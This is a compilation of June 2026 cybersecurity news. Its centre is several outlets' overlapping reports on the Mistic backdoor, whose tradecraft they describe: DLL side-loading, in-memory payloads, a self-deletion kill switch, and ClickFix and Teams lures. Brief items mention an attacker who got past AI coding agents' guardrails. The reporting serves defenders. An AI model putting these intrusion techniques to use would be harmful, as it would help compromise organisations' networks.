professional services sectors, according to Symantec. A privacy-first take on local malware analysis Submitting a suspicious file to VirusTotal or MalwareBazaar uploads a copy to a searchable public repository. While these platforms help analysts quickly identify malicious files, they also allow threat actors to see when their tools have been detected by monitoring for matching hashes. In targeted attacks, uploaded samples may also contain sensitive victim data, exposing it to third-party systems. Burnyard, a research project from The Ohio State University takes aim at this condition. It runs suspicious binaries on the analyst’s own hardware and keeps each sample local for the duration of the analysis. Microsoft gives Windows 10 users an unexpected extra year of free security updates Microsoft has given Windows 10 users another year of free security updates, extending its consumer Extended Security Updates (ESU) program until October 12, 2027. SIM-swapping gang busted in international police operation Officers from Poland’s Central Bureau for Combating Cybercrime (CBZC) arrested four suspected members of an organized cybercrime group accused of SIM swap attacks, cryptocurrency theft, and money laundering. Mirage2FA phishing kit uses HTML smuggling to steal Microsoft 365 credentials Mirage2FA, a phishing kit that combines short-lived HTML smuggling with obfuscated JavaScript loaders to deliver fake Microsoft 365 login pages and steal credentials during MFA prompts, has been identified by researchers at Fortra. The systemd 261 release brings a software TPM, new OS installer Linux distributions that ship systemd as their init system now have a new version to track. The systemd 261 update adds a cloud metadata subsystem, carries process state through kexec reboots, and continues a long-running effort to load external libraries on demand. Product showcase: Avira Security for iOS blends security, privacy, and device optimization Avira Mobile Security for iOS combines security, privacy, and device optimization tools in a single application. The app is also available for Android, macOS, and Windows devices. Only 7% of companies are ready for the AI agents they deployed Most organizations now run or pilot AI agents that operate on company data with limited human direction at each step, a share that reaches 88% in Veeam Software’s Data and AI Trust Gap report. The systems that are supposed to keep an eye on them have not caught up. Residential proxy SDKs are hiding in LG and Samsung smart TV apps Smart TVs in living rooms run small apps that show fish tanks, clocks, solitaire games, and slideshows of puppies. A share of those apps can also send other people’s internet traffic out through the home connection. Spur Intelligence scanned 6,038 apps across LG webOS and Samsung Tizen and found 2,058 that contain residential proxy software. OpenAI wants AI to fix vulnerabilities, not just find them OpenAI expanded Daybreak, its cybersecurity initiative that combines AI models, Codex Security, security researchers, maintainers, industry partners, and access controls to support vulnerability discovery and remediation. Organizations can use the initiative to identify, validate, and fix software vulnerabilities, while developers, maintainers, and security teams can use its tools to strengthen defensive security capabilities. Security testing was built for a slower world Software teams are pushing code into production faster than security testing can keep up. AI is accelerating development cycles and adding pressure to security programs that rely on periodic validation and manual penetration testing. The 2026 State of AI Security Testing report from Aikido Security found that 76% of organizations have had to stop, restrict, or roll back AI-driven behavior in the past 12 months. Google Workspace expands password reset alerts to all admins Google’s Alert Center, a dashboard in the Google Admin console that displays security and administrative alerts and helps administrators identify, investigate, and respond to issues affecting their organization, is expanding the “Super Admin password reset” alert into the “Admin password reset” alert. The feature is rolling out gradually and will be available to all Google Workspace customers. Anthropic’s Claude Tag gives AI agents independent identities Anthropic introduced an agent identity model for Claude Tag, its AI assistant designed for team collaboration in shared workspaces. The model gives Claude its own identity, permissions, and tool access, configured by administrators and tied to a workspace or channel. Most teams will ship AI-written infrastructure code with little review AI-assisted development has settled into everyday practice across software organizations, and developers using it move from idea to working code in hours. That code does not stay with the developers who prompt it. It flows downstream to the DevOps and platform teams who deploy and maintain it, and those teams are not getting the same speed boost. Best practices for AI in open-source work Free and open source software developers us AI coding assistants such as Claude Code, Copilot CLI, Antigravity, and OpenCode in their daily work. The Software Freedom Conservancy responded to that trend with a set of recommendations for contributors who use these tools, which it groups under the label LLM-gen-AI, meaning generative AI systems backed by LLMs. LLM security advice looks solid until you check the hard cases Plenty of people now type their security worries straight into a chatbot. A hacked account, a suspicious email, a stalker who might be tracking a phone, all of it lands in the same window someone would use to ask about dinner. A benchmark called HelpBench tests how well chatbots handle those moments, and the results give security professionals something to watch in what their users are being told. Google Wallet adds TSA Touchless ID for faster airport screening Google Wallet has joined the Transportation Security Administration’s (TSA) PreCheck Touchless ID program, allowing travelers to pass through security checkpoints using the TSA’s facial comparison technology. The system verifies identity by matching a live photo taken at a checkpoint with identity and flight information, reducing the need to present a physical ID. Modelplane: Open-source control plane for AI inference Organizations that run open-weight models on hardware they own operate GPU fleets spread across clouds, neoclouds, and on-premise data centers. Each fleet handles model placement, replica scaling, infrastructure provisioning, weight distribution, and traffic routing. Teams have built this coordination layer by hand, one operator at a time. Upbound, the company behind the Crossplane project, released Modelplane, an open-source control plane that manages fleet-wide coordination for AI inference. Ransomware gangs find Europe’s weakest link in third-party suppliers Ransomware attacks against European organizations increased during the first months of 2026, with third-party suppliers becoming a major entry point for attackers. Black Kite examined 2,066 ransomware incidents across 31 countries between January 2025 and April 2026 in its 2026 European Cyber Risk Report. Critical open-source projects get a new security framework Open source software projects are getting a new framework for handling security vulnerabilities as AI shortens the time between flaw discovery and exploitation. The Linux Foundation has launched Akrites, an industry initiative that brings together technology companies, financial institutions, security vendors, AI companies, and open source projects to support the remediation and disclosure of vulnerabilities affecting widely used open source software. Cybersecurity jobs available right now: June 24, 2026 We’ve scoured the market to bring you a selection of roles that span various skill levels within the cybersecurity field. Check out this weekly selection of cybersecurity jobs available right now. New infosec products of the month: June 2026 Here’s a look at the most interesting products from the past month, featuring releases from AISLE, Asimily, Blue Planet, depthfirst, Diligent, Drata, Elastic, Filigran, Flip, Hyland, IDnow, Legit Security, MazeBolt, Noma, Qodo, Ridge Security, Tigera, and WitnessAI.

Stealthy new backdoor surfaces in attacks on multiple sectors A relatively new backdoor called Mistic has been deployed in multiple attacks since April 2026 targeting organizations in the insurance, education, IT, and professional services sectors, according to Symantec. The malware appears to be associated with Woodgnat, also known as KongTuke, a financially motivated initial access broker (IAB) active since at least May 2024 that has been connected to ransomware operations including Qilin, Interlock, Rhysida, Akira, 8Base, and Black Basta. “Woodgnat reportedly functions primarily as an IAB. Its goal is not to deliver the final payload, but to establish highly durable remote access within an enterprise and sell this high-level access to ransomware affiliates and other attackers for a fee,” the researchers said. Earlier this month, Zscaler documented the backdoor under the name MLTBackdoor. In one intrusion, researchers observed Mistic deployed alongside ModeloRAT, a Python-based remote access trojan developed by Woodgnat. Huntress first reported on ModeloRAT in January 2026 during an investigation into a ClickFix campaign dubbed CrashFix. The campaign used a malicious Chrome extension named NexShield, disguised as an ad blocker, to intentionally crash victims’ browsers and trick them into running PowerShell commands that led to the deployment of ModeloRAT. “Mistic was side-loaded through MpExtMs.exe, a legitimate file, and loaded from a DLL named EndpointDlp.dll, a name associated with Microsoft endpoint-security tooling. This would help the backdoor blend in with trusted software,” researchers noted. Attackers also loaded a .NET DLL on the victim network that displayed a fake login screen and stole credentials entered by users. Once installed, Mistic communicates with its command-and-control infrastructure and receives instructions from the operator. Its capabilities include uploading, downloading, moving, renaming, and deleting files, creating folders, modifying how frequently it checks for commands, executing code received from the command-and-control server directly in memory, and terminating and removing itself from an infected system. “The fact that Mistic executes in memory and also has a kill switch built in means that it is very stealthy, potentially allowing for long-term access for attackers,” they added. In addition to Mistic and ModeloRAT, the attackers used several legitimate tools, including Curl, Reg.exe, Net.exe, PowerShell, Certutil, and WMIC (Windows Management Instrumentation). These utilities can be used to download files, execute commands, modify the Windows registry, gather information about a system, and interact with remote hosts. Woodgnat’s victim selection is “largely opportunistic,” Symantec said, adding that the group’s geographic location remains unknown. Symantec has published a list of indicators of compromise for Mistic, along with malicious files and IP addresses used in the recent Woodgnat attacks.

A new, stealthy backdoor named Mistic has been deployed as part of suspected financially motivated attacks aimed at multiple organizations spanning insurance, education, IT, and professional services sectors since April 2026. According to Symantec and Carbon Black's Threat Hunter Team, the backdoor, also tracked as MLTBackdoor, is said to be linked to an initial access broker (IAB) named KongTuke (aka 404 TDS, Chaya_002, LandUpdate808, TAG-124, and Woodgnat), and dropped along with ModeloRAT, a Python remote access trojan (RAT) previously attributed to the group. "The backdoor runs payloads in memory with no file written to disk and includes a kill switch that lets it delete itself, which are features consistent with an operator seeking long-term, low-visibility access," Broadcom's cybersecurity teams said in a report shared with The Hacker News. ModeloRAT was first flagged by Huntress in January 2026 in connection with a variant of a ClickFix campaign dubbed CrashFix, in which the KongTuke actors used a malicious Google Chrome extension masquerading as an ad blocker to intentionally crash a victim's web browser and trick them into running arbitrary commands under the pretext of running a security scan. The malware was also distributed in a different ClickFix campaign that involved running commands carrying out a Domain Name System (DNS) lookup to retrieve the next-stage payload, with Microsoft noting that the attack chain uses DNS as a "lightweight staging or signaling channel." Mistic's use of ClickFix as a delivery vector was highlighted by Zscaler ThreatLabz earlier this month, attributing the activity to a ransomware-related threat actor to establish a foothold for lateral movement. The latest findings from Broadcom show that the malware relies on DLL side-loading techniques, using trusted Microsoft endpoint security tooling ("MpExtMs.exe") to blend in and avoid raising red flags. The backdoor runs directly in memory, enabling a wide range of capabilities typically associated with a malware family of this kind - Upload or download a file Move, rename, or delete a file Create a folder Modify the time interval after which it polls a remote server for commands Execute code received from C2 in memory without leaving any artifacts on disk Load Beacon Object Files (BOFs) to dynamically expand its capabilities Terminate and delete itself "The targeting appears to be opportunistic, with the attackers casting a wide net and then assessing which organizations they could sell access to rather than focusing on a single sector," Symantec and Carbon Black said, adding that ModeloRAT has been observed in attacks that deployed Qilin ransomware. KongTuke is known to operate a traffic distribution system (TDS) built on compromised WordPress sites, using it to serve an ever-evolving set of lures that lead unsuspecting site visitors to malware. As recently as last month, Rapid7 and ReliaQuest revealed that the threat actor has pivoted to sending Microsoft Teams messages from a fake IT Support account to trigger an attack chain that leads to the deployment of ModeloRAT. "The stealth of the backdoor is also notable, as is the fact that Woodgnat is also possibly behind the development of ModeloRAT, indicating a group that is quite highly skilled at the development of stealthy remote access tools," Broadcom said. "The use of custom tools in ransomware attacks is becoming a more common phenomenon, with multiple examples of ransomware groups using custom exfiltration and other tools in recent times. Backdoor.Mistic appears to be a continuation of this trend, though it appears to be likely developed by access brokers working with ransomware affiliates rather than a ransomware group itself."

An initial access broker (IAB) linked to multiple ransomware families has been using a new remote access trojan (RAT) in recent attacks, Broadcom’s Symantec and Carbon Black threat hunter team reports. The threat actor, tracked as Woodgnat and KongTuke, and active since at least May 2024, is known to have ties to ransomware groups such as Qilin, Interlock, Rhysida, Akira, 8Base, and Black Basta. Starting in April 2026, Woodgnat has been deploying the new Backdoor.Mistic RAT against the networks of organizations across multiple industries, including education, insurance, IT, and professional services. Previously, the threat actor was observed deploying the ModeloRAT in attacks targeting other entities. “The targeting appears to be opportunistic, with the attackers casting a wide net and then assessing which organizations they could sell access to rather than focusing on a single sector,” Broadcom’s researchers say. Also tracked as MLTBackdoor, Mistic provides attackers with typical capabilities, including file download and upload, file manipulation, folder creation, and code execution. The attackers can also modify the frequency at which the malware checks for new commands and can instruct it to terminate itself. Woodgnat has been deploying the backdoor as a DLL, executing it via sideloading. In a recent attack, the threat actor also deployed a credential stealer alongside Mistic. Additional tools observed in the intrusion include Curl, Reg.exe, Net (net.exe), PowerShell, Certutil, and WMIC (Windows Management Instrumentation), for data exfiltration, registry manipulation, network resource management, command execution, reconnaissance, lateral movement, file download, and browser certificate installation. The IAB is known for distributing malware via compromised WordPress sites and for relying on social engineering to entice users into executing attacker-supplied commands, including the ClickFix, FileFix, and CrashFix techniques. “In each case the victim is ultimately tricked into running an attacker-supplied PowerShell command. While the initial compromise may be opportunistic, the attackers profile the machines for potential interest to determine their value and if they can sell access to them,” Broadcom’s threat hunter team says. Since April 2026, the threat actor has also been using helpdesk and IT-support lures delivered via Microsoft Teams to convince victims into executing malicious code. Related: Russian Initial Access Broker Behind FortiBleed Campaign Related: Hackers Exploiting Cisco Unified CM Vulnerability Related: Microsoft Teams Relay Servers Abused in DragonForce Ransomware Attack Related: Over 1.4 Million Accounts Disrupted in Cybercrime Crackdown

A new backdoor dubbed Mistic has been observed in financially motivated attacks targeting organizations in the insurance, education, IT, and professional services sectors. The malware is believed to be linked to KongTuke/Woodgnat, an initial access broker active since at least 2024 that specializes in compromising corporate networks and selling that access to ransomware groups, including Qilin, Interlock, Rhysida, Akira, 8Base, and Black Basta. Researchers at cybersecurity company Symantec say that Mistic has been used in intrusions since April. In at least one incident, it was deployed shortly after ModeloRAT, a backdoor attributed to KongTuke and delivered via social engineering attacks over Microsoft Teams. Symantec believes that Mistic is a newly developed, stealthy backdoor designed for long-term persistence in compromised networks. Mistic attack chain In the attacks investigated by Symantec, the infection started with the launch of the legitimate executable MpExtMs.exe to side-load a malicious DLL named version.dll, which acts as the loader of Mistic (EndpointDlp.dll). The researchers note that the filename chosen for Mistic resembles Microsoft endpoint security tooling, which may help the malware blend in with trusted software on the host. A separate .NET DLL is also loaded, which displays a fake login screen to the victim to steal their account credentials. Once loaded, Mistic communicates with its command-and-control infrastructure and can receive commands from the operator. Symantec lists the following capabilities: Upload/download, move, rename, delete files, and create folders Modify how frequently Mistic checks for commands from the command-and-control (C2) server Execute code received from the C2 directly in memory Terminate itself and delete files from the host According to Symantec’s analysis, Mistic appears to have been designed for stealth, enabling attackers to maintain a persistent foothold within compromised networks over extended periods. “The backdoor runs payloads in memory with no file written to disk and includes a kill switch that lets it delete itself, which are features consistent with an operator seeking long-term, low-visibility access,” the researchers say. Symantec does not provide details on how the infection begins, but KongTuke has been known to use ClickFix, and its FileFix and CrashFix variants, since early 2025 to deliver the ModeloRAT malware. In a technical report this week, cloud security company Zscaler notes that Mistic, which it tracks as MTLBackdoor, was delivered as a payload in a multi-stage ClickFix infection chain in May. Zscaler researchers say that "one of the most powerful features [in MTLBackdoor] is the ability to load Beacon Object Files (BOFs) to expand its capabilities." BOFs are small programs in C that can execute directly in the memory of a command-and-control (C2) process, leaving no footprint on the disk and evading detection of security agents. They are common in red team products, such as Cobalt Strike, for the post-exploitation stage. Symantec believes that Mistic confirms the observed trend of custom tools being used in ransomware attacks, although the backdoor appears to have been developed by an initial access broker closely connected to the ransomware scene. KongTuke is known to use multiple other tools, such as the legitimate WinPython and Node.js runtimes to execute malicious code, finger.exe to retrieve obfuscated payloads, the fake NexShield browser extension, the encrypted GateKeeper .NET payload, and the MintsLoader and D3F@ck Loader malware loaders to deliver additional payloads. Both Zscaler and Symantec reports [1, 2] provide indicators of compromise for the Mistic/MTLBackdoor malware and note that it is a stealthy tool that can expand its functionality. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Week in review: 74k Fortinet firewall credentials stolen, Splunk Enterprise RCE under active attack Here’s an overview of some of last week’s most interesting news, articles, interviews and videos: A hardware neural network backdoor that hides in plain sight Deep learning systems on edge devices often rely on third-party-designed FPGAs and ASICs for performance and efficiency, creating supply chain risks. Researchers from the University of Tennessee and the University of Florida developed HAMLOCK, a backdoor attack that splits malicious functionality between hardware and software, making detection more difficult. Onspring CISO on where automated GRC systems fall short In this interview with Help Net Security, Nichole Windholz, CISO at Onspring, talks about the limits of automated GRC systems and continuous control monitoring. She explains why color-coded dashboards can hide nuance, how teams can check the data feeding their tools, and which risks resist measurement, such as insider behavior and vendor concentration. AI vulnerability discovery is pushing 2026 CVEs toward 66,000 Vulnerability disclosures are piling up faster in 2026 than anyone expected at the start of the year. The running count for the first few months sits well above the original projection, and the Forum of Incident Response and Security Teams (FIRST) now expects the year to land near 66,000 CVEs. Reachability makes AI threat modeling worth the trust In this interview with Help Net Security, Oscar Andersson, CTO at Oplane, explains why most scanning tools fail. They cry wolf, flagging threats that cannot run in real code. The argument centers on reachability. A finding counts only when someone walks the path to impact on a working build. The SOC’s visibility gap comes down to staffing AI has settled into security operations centers faster than any earlier wave of technology. Around four in five practitioners report reaching for AI or machine learning tools in their daily work. The catch shows up one layer down. Roughly a third of those same teams have built these tools into a defined workflow with structure, governance, and consistent validation. The rest pick up AI on their own, case by case, with no shared playbook for how it gets used or checked. The Chainguard Athena coalition already shipped 2,000 patches across 500 open source projects Chainguard launched Athena, an industry coalition that pools open source vulnerability findings and remediates them under embargo before public disclosure. The group went live with more than two dozen member organizations. Founding members include BNY, Chainguard, Cisco, Cloudflare, Corridor, DepthFirst, Docker, JPMorganChase, Kyndryl, LTIMindtree, and PwC. What happens to oversight when AI agents write a lab’s own code Inside the labs building frontier AI, a growing share of the coding gets done by the AI itself. These agents write, edit, and run software with light human oversight between steps, and they reach into production infrastructure, research pipelines, and potentially the systems that train and evaluate future models. Securing digital keys when your phone unlocks the car In this interview with Help Net Security, Alysia Johnson, President of the Car Connectivity Consortium (CCC), explains how the CCC Digital Key has grown from a single-brand feature into a standard meant to work across phones, automakers, and suppliers. Your browser tab could become encrypted storage for someone else’s files Decentralized storage networks already hand pieces of people’s data to strangers’ machines. The lasting question across these networks is whether the machine holding the data can read it. A research paper by Gregory Magarshak, a professor at IENYC, describes a system called Safecloud built on one design rule: the nodes that store data see only ciphertext, and the nodes that route data hold no keys. PhishLumos: Exposing phishing campaigns that evade detection by hiding content Phishing remains one of the most stubbornly persistent threats in cybersecurity: humans are tired, distracted, trusting, and susceptible to urgency and authority in ways that no amount of awareness training can completely overcome. The security community has largely accepted this reality and shifted focus toward automated detection systems that can intercept and block phishing threats before users see them. China-linked spies backdoored authentication stack to stay hidden for years A China-linked cyber espionage group known as Velvet Ant spent nearly a decade inside the internal network of an unnamed organization without being detected, according to the results of a forensic investigation published by cybersecurity firm Sygnia. Cisco discloses second exploited SD-WAN vulnerability in two weeks (CVE-2026-20262) Cisco has revealed another Catalyst SD-WAN Manager vulnerability (CVE-2026-20262) that its Product Security Incident Response Team observed being exploited by attackers. But the associated security advisory also states that “the vulnerability was found during internal security testing”, raising the question of how attackers came to exploit it before Cisco had disclosed it publicly. SimpleHelp RMM flaw could give attackers full access to managed endpoints (CVE-2026-48558) A critical vulnerability (CVE-2026-48558) in SimpleHelp, a popular remote monitoring and management (RMM) tool, can be exploited remotely by unauthenticated attackers to create a new “Technician” account and use it to remote into managed endpoints, execute scripts, and more. Attackers are exploiting FortiSandbox vulnerabilities Attackers have been spotted exploiting three vulnerabilities (CVE-2026-39813, CVE-2026-39808, CVE-2026-25089) in FortiSandbox, a platform that other Fortinet security products depend on for threat verdicts to enforce blocking decisions and trigger automated responses. The warning came on Monday from threat intelligence company Defused, which said that the exploit for one of the flaws is vibecoded, and likely faulty. Microsoft working on patch for RoguePlanet Defender zero-day (CVE-2026-50656) Microsoft has acknowledged the local elevation of privilege issue in Microsoft Defender that can be triggered via the “RoguePlanet” exploit, and is “working to provide a high quality security update that addresses this vulnerability.” The vulnerability, which has been assigned the CVE-2026-50656 identifier, stems from improper link resolution before file access, and can be exploited in low complexity attacks by authenticated attackers, with no user interaction required. Low-skilled attacker used Claude, Codex to breach 14 companies Researchers have long warned that AI agents could lower the skill floor for offensive cyber operations, and a recent report by OALABS (Open Analysis) researchers bears that out. After recovering and analyzing over 1,000 agent sessions from a compromised server on which an attacker deployed Anthropic’s Claude Code and OpenAI’s Codex agents, the researchers discovered how easily the attacker was able to bypass most of the agents’ guardrails, and how little he actually needed to know and do himself. 74,000 Fortinet firewall credentials exposed in FortiBleed data leak A Russian-speaking cybercriminal group has stolen credentials contained in the configuration files of nearly 74,000 Fortinet firewalls and VPN gateways around the world. The data was accidentally exposed by the group on a server, along with other artifacts and tools, and the exposure was noticed by security researcher Volodymyr “Bob” Diachenko. Law enforcement hits SocGholish: 106 servers down, 15,000 sites cleaned SocGholish, an operation that’s been delivering malware to users via fake software updates, has suffered a major blow: the international law enforcement coalition behind Operation Endgame has taken down 106 of its servers and domains, and cleaned up nearly 15,000 websites compromised to serve their malicious payloads. The result of this most recent multinational law enforcement action was announced today by the Dutch National Police and on the operation’s website. Unauthenticated RCE in Splunk Enterprise under active attack (CVE-2026-20253) CISA has added CVE-2026-20253, a critical, remotely exploitable vulnerability in Splunk Enterprise, to its Known Exploited Vulnerabilities catalog, and ordered US federal civilian agencies to apply mitigations by June 21, 2026. EU Cybersecurity Act 2.0: When good regulation goes bad Over recent years we’ve witnessed the EU becoming increasingly serious about cybersecurity. After years of watching high profile breaches, many resulting from supply chain attacks targeting our critical infrastructure, that seriousness is welcome. But good intentions and good policy are not the same thing, and the proposed EU Cybersecurity Act 2.0 is starting to look a lot more like the former than the latter. Navigating SEC, NIS2, and DORA incident disclosure timelines under pressure In this Help Net Security video, Rick Goud, Global Field CTO at Kiteworks, discusses how to handle SEC, NIS2, and DORA disclosure timelines during a security incident. Proving what a military AI model will do is the real problem Defense contractors build AI systems that task drones automatically and propose kill-chains to support soldiers. Several of these contractors have partnered with frontier AI companies to put advanced models into military tools. The systems coming out of these partnerships carry a security problem that sits outside the methods of arms control diplomacy: confirming what an AI model will do. Open-source CI/CD abuse detector guards against stolen credential attacks CI/CD Abuse Detector is an open-source project that uses a large language model to flag suspicious changes to continuous integration and continuous deployment pipelines, workflows, and automation configurations. The repository contains drop-in templates for GitHub Actions, GitLab CI, and Azure DevOps. Ukrainian national pleads guilty in connection with Conti ransomware A Ukrainian national pleaded guilty to conspiracy to commit wire fraud in connection with the deployment of Conti ransomware, which targeted more than 1,000 victims worldwide. Chinese hackers breached North American research institutions via REDCap servers A China-linked cyber espionage operation targeted North American medical research institutions through compromised REDCap servers, using custom malware to gain persistent access and collect sensitive information, Google’s Threat Intelligence Group (GTIG) researchers found. Planning a trip? Fake travel sites are multiplying this summer Cyberattacks against hospitality, travel, and recreation organizations rose 24% year over year, reaching an average of 2,291 incidents per organization each week in May 2026, according to Check Point. Crypto scammers are sending couriers to victims’ homes to collect cash Scammers behind cryptocurrency investment schemes are dispatching couriers to pick up cash from victims in person, the FBI warns. According to the agency, scammers usually approach victims through social media, text messages, or fake investment personas, luring them into cryptocurrency schemes that use fraudulent trading platforms and fabricated returns to encourage additional deposits. Cybercriminals mask malicious communications through Microsoft Teams relays The DragonForce ransomware group used a custom malware called Backdoor.Turn to hide command-and-control traffic inside Microsoft Teams relay infrastructure during an intrusion at a U.S. services company, according to Symantec. Apple is bringing Hide My Email and Sign in with Apple under one domain Apple will unify the email domains used by Sign in with Apple and iCloud+ Hide My Email under a shared domain, private.icloud.com, later this summer. Hide My Email is a service included with iCloud+, Apple’s subscription service. It allows users to generate one-time-use or reusable email addresses that forward messages to their personal inbox without revealing their actual email address. Rokarolla Android trojan targets banking and crypto users, enables device takeover A newly discovered Android banking trojan, dubbed Rokarolla, targets 217 banking and cryptocurrency applications and can execute 137 commands on infected devices, according to researchers at Zimperium. Named after its command-and-control (C2) infrastructure, Rokarolla is primarily distributed through malicious websites that impersonate popular applications such as TikTok and Google Chrome, fooling users into downloading what appears to be a legitimate app. Another healthcare firm attacked days after Novo Nordisk breach Medical technology company iRhythm Holdings disclosed a cyberattack involving certain third-party-hosted business applications that resulted in the theft of patient protected health information, proprietary data, and other personal data. The company discovered unauthorized activity on June 8, 2026, and launched an investigation with the assistance of external cybersecurity experts. AWS Continuum brings AI models to code vulnerability management AWS Continuum for code vulnerabilities, a system built to handle a vulnerability across its lifecycle, from discovery through to a fix, is now available in gated preview. It reasons over a customer’s environment, confirms which findings are real, and works toward resolution. It is model agnostic and draws on multiple frontier models, assigning each to the work where it performs best. AWS designed it to take in newer models as they become available. Malware attacks strip Roblox developers of entire games Hackers who once focused on stealing valuable Roblox items are now taking over entire games. Although Roblox operates the service, users can create and publish their own games on it. Successful games can generate substantial revenue through in-game purchases. Some developers have earned millions of dollars and built dedicated studios around their creations. Klue breach lead to Salesforce data theft, Huntress affected Cybersecurity vendor Huntress was among multiple companies hit by a breach originating at Klue, a market intelligence platform used to integrate CRM and sales data across various business tools. Senior engineers are spending their week cleaning up AI-generated code At most U.S. technology companies, machines now write the bulk of the code that ships each week. The engineer’s job has shifted toward reviewing what the AI produces, and that review gives the code high marks. Leaders rate AI-generated code as higher quality than the code their own people write, praising its clean structure, consistent style, and low count of obvious bugs at submission time. Microsoft’s workplace check-in via Wi-Fi tracks who’s in the office, and not everyone’s happy Microsoft is rolling out workplace check-in via Wi-Fi for Teams and Microsoft Places. Connect to your office network and your in-office presence updates automatically, no manual status change needed. A $2 trillion revenue shift hinges on AI data governance Across large enterprises, a single question keeps surfacing when teams want to put customer data to work. Can this record be used for a given purpose, and does the consent behind it still hold? The data sits in warehouses and customer databases, and the ability to answer that question often lags behind. That delay carries a cost. GitHub releases an open dataset for multilingual developer content Developers coordinate code across README files, issue threads, and pull request discussions. Much of that exchange happens in English, and a large share happens in other languages. GitHub has released a dataset built to help researchers and developers locate public repositories that carry non-English natural-language content. Software supply chains are heading for a transparency test Software supply chain visibility is becoming part of product security work as the EU Cyber Resilience Act (CRA) moves toward application in December 2027. ENISA’s SBOM Adoption State of Play 2026 shows organizations preparing for CRA obligations through SBOM tooling, automation, and changes to software development practices. The checklist problem behind critical infrastructure cyber safety An asset owner can meet major federal cyber compliance standards and still run equipment that lacks the engineering to withstand an attack or a failure. New research from George Mason University examines how United States cyber policy defines reasonable care for systems that control physical processes, and it finds that compliance has become a stand-in for safety. Product showcase: From phishing texts to risky Wi-Fi, Norton 360 Deluxe watches the gaps Norton 360 Deluxe combines device security, scam detection, web protection, and VPN privacy in a single subscription that covers up to five devices. It is available for Windows, macOS, Android, and iOS. Microsoft AntiSSRF open-source library helps block server-side request forgery AntiSSRF is an open-source code library from Microsoft that validates URLs and network connections to reduce server-side request forgery (SSRF) risks in web applications. It supports .NET and Node.js applications and is distributed under the MIT license. The library works as a drop-in component, giving developers a way to check untrusted input before their applications make outbound requests. Ukraine can now tap EU cyber support during major attacks Ukraine can now call on emergency cyber support from the European Union during large-scale cybersecurity incidents. The move follows a decision by the Council of the European Union to add the country to the EU Cybersecurity Reserve. What’s new in Android 17? Anti-theft tools, scam detection, and parental controls The Android 17 rollout has started for supported Pixel devices, delivering new security and privacy capabilities before expanding to other devices later this year. Most agentic AI projects in production have stalled over data problems Enterprises are connecting AI agents to live data feeds and putting them to work on tasks that once required human review, from IT operations to software development. The number doing this in production reached 32 percent in 2026, up from 29 percent the year before, according to Confluent’s annual Data Streaming Report, which surveyed 4,625 IT leaders across 14 countries. Homebrew tightens tap security, begins work on its interface Anyone who installs software through a third-party Homebrew tap runs Ruby code written by people outside the project, and that code runs without a sandbox. That risk sits at the center of Homebrew 6.0.0. It now requires a tap, along with any tap-qualified formula or cask, to be trusted before its code is evaluated or run. Google’s open standard for AI agents to discover and verify tools AI agents rely on tools, services, and other agents distributed across different teams, organizations, and platforms. Because these resources are often isolated in separate systems, agents have limited ability to discover and connect to capabilities outside their own environment. Google aims to solve this with Agentic Resource Discovery, an open specification for publishing, discovering, and verifying AI capabilities across the web, regardless of framework, protocol, or provider. GentleKiller targets more than 400 security processes across 48 products Most ransomware operations leave the work of disabling endpoint security software to their affiliates. The ransomware-as-a-service gang Gentlemen runs a different model. Its operators develop and maintain a set of tools for shutting down endpoint detection and response (EDR) products, then provide these tools directly to the affiliates who rent the gang’s encryptors. Asia-Pacific scam networks generate nearly $40 billion a year Cybercrime is taking a larger share of criminal activity in Asia and the Pacific. More than half of surveyed jurisdictions reported that cybercrime accounts for over 30% of all crimes recorded nationally, according to INTERPOL’s 2025/2026 Asia and South Pacific Cyberthreat Assessment Report. Companies are discarding the logs they need to catch a breach Many large enterprises discard most of the log data their systems generate, and they do it on purpose to keep costs down. A Dynatrace survey of 450 senior IT leaders at large enterprises found that half of organizations drop or never collect an average of 86 percent of their logs, even after filtering and aggregation. Many also limit how long they retain the logs they do keep. The rise of machine identities and agentic AI: Securing trust in the next era of digital autonomy For years, identity security has been centered on humans, ensuring that the right person has the right level of access to the right resources. But now, the same principle applies to non-human entities: machines, APIs, bots, and increasingly, AI agents. These new “digital actors” authenticate, access sensitive information, execute workflows, and even make decisions, often faster and at greater scale than any human ever could. How security teams are getting credential visibility into developer endpoints Attackers increasingly target developer machines to steal credentials. Recent supply chain attacks, including Megalodon, TrapDoor, and Miasma, focused on compromising developer environments where secrets often reside in shell histories, .env files, cloud CLI configs, local caches, and AI agent directories. To address this risk, GitGuardian has introduced Developer Endpoint Protection in ggshield, enabling organizations to discover credentials on developer workstations. Google sets timeline for Android developer verification enforcement Android’s developer verification protections will take effect on September 30, 2026, starting with users in Brazil, Indonesia, Singapore, and Thailand. Developers distributing apps through participating stores in those markets must complete the verification process by the deadline. Mastodon 4.6 adds profile Collections and two-factor controls People who run accounts on the open source social network Mastodon can now group profiles together and share those groups across the web. The 4.6 release centers on a feature called Collections, along with reworked profiles, email newsletters, server administration controls, and a set of accessibility changes. Forget traffic lights, Google’s reCAPTCHA may ask for hand gestures Google has introduced hand gesture verification for reCAPTCHA, a new method for verifying that a user is human. Google’s reCAPTCHA is part of Google Cloud Fraud Defense, a fraud and abuse prevention platform for bot, account, and transaction protection. It uses risk analysis and challenge-based verification to help organizations identify automated activity and suspicious behavior. Cybersecurity jobs available right now: June 16, 2026 We’ve scoured the market to bring you a selection of roles that span various skill levels within the cybersecurity field. Check out this weekly selection of cybersecurity jobs available right now. New infosec products of the week: June 19, 2026 Here’s a look at the most interesting products from the past week, featuring releases from ArmorCode, Barracuda Networks, Blue Planet, Flip, Fortinet, Legit Security, Tigera, and WitnessAI.

